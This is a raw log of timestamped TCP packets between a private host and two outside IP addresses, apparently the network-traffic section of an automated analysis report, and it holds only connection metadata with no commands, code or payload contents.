                                                                                                                                                                Nov 28, 2024 11:02:06.667140961 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.667154074 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.671694994 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.671766043 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.671785116 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.675678968 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.675761938 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.675771952 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.818388939 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.818490028 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.818516016 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.822009087 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.822022915 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.822065115 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.822084904 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.822093964 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.822140932 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.825582981 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.825596094 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.825627089 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.825663090 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.825702906 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.830163002 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.830178022 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.830204964 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.830225945 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.830261946 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.833734035 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.833745956 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.833770037 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.833797932 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.833817005 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.837320089 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.837332964 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.837382078 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.837389946 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.841963053 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.842012882 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.842037916 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.842050076 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.842098951 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.845613956 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.845626116 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.845688105 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.845695972 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.849222898 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.849320889 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.849335909 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.853180885 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.853240967 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.853247881 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.857829094 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.857892990 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.857901096 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.861351967 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.861413002 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.861421108 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.864998102 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.865056992 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.865062952 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.869700909 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.869757891 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.869767904 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.873234034 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.873291969 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.873315096 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.876750946 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.876811028 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.876837969 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.019622087 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.019761086 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.019788027 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.023236036 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.023246050 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.023274899 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.023322105 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.023332119 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.023385048 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.027645111 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.027653933 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.027672052 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.027713060 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.027724028 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.031290054 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.031297922 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.031322956 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.031357050 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.031366110 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.035865068 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.035875082 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.035892010 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.035931110 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.035939932 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.039458990 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.039468050 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.039534092 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.039545059 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.043077946 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.043112993 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.043148994 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.043159008 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.043205023 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.047724009 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.047745943 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.047806025 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.047816038 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.051242113 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.051311016 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.051330090 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.055344105 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.055413961 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.055428982 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.059029102 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.059097052 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.059106112 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.063595057 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.063661098 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.063671112 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.067123890 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.067246914 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.067257881 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.070777893 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.070847988 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.070858002 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.075479031 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.075555086 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.075563908 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.078927040 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.078996897 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.079008102 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.221847057 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.221971035 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.221985102 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.225716114 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.225724936 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.225753069 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.225779057 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.225794077 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.225843906 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.229861975 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.229872942 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.229893923 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.229917049 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.232403994 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.232412100 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.234930038 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.234939098 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.234961033 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.234982967 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.234993935 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.235064983 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.236995935 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.237004042 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.237030983 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.237061977 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.237102032 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.240425110 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.240433931 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.240500927 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.240510941 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.245126963 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.245166063 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.245183945 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.245194912 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.245234966 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.248774052 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.248783112 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.248838902 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.248848915 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.253479958 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.253729105 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.253739119 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.256412029 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.256479979 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.256489038 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.261025906 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.261097908 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.261107922 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.264645100 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.264712095 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.264722109 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.268155098 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.268223047 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.268233061 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.272753000 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.272818089 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.272835970 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.276480913 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.276540995 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.276551962 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.281099081 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.281160116 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.281171083 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.422354937 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.422418118 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.422451973 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.426908970 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.426918030 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.426947117 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.426964045 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.426994085 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.427030087 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.430435896 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.430447102 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.430485010 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.430500984 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.430535078 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.434150934 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.434158087 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.434185028 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.434201002 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.434225082 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.438647985 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.438656092 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.438684940 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.438698053 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.438740969 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.442290068 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.442297935 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.442349911 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.442374945 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.447069883 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.447105885 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.447129965 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.447143078 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.447187901 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.450422049 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.450429916 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.450493097 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.450501919 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.454154015 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.454221010 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.454241037 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.458085060 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.458277941 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.458302021 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.461566925 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.461630106 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.461657047 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.461671114 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:07.461718082 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:07.462263107 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:13.272403955 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:13.392389059 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:13.392496109 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:13.392672062 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:13.512568951 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.659753084 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.659770966 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.659781933 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.659801960 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.659813881 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.659825087 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.659837961 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.659898996 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:14.659898996 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:14.659929991 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.659979105 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.660007000 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.660015106 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:14.761296988 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:14.780767918 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.780828953 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.780905962 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:14.860774994 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.861983061 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.862063885 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:14.865010023 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.865912914 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.865955114 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:14.873402119 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.873888969 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.873941898 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:14.881850958 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.884423018 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.884484053 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:14.890360117 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.890782118 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.890831947 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:14.898730993 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.899060965 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.899116993 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:14.907067060 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.908412933 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.908487082 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:14.915474892 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.916222095 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.916265965 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:14.923887014 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.924082041 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.924133062 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:14.932297945 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.932413101 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.932461977 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:14.940629959 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.941895962 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:14.941951036 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.062087059 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.062213898 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.062277079 CET4917580192.168.2.22172.232.175.166
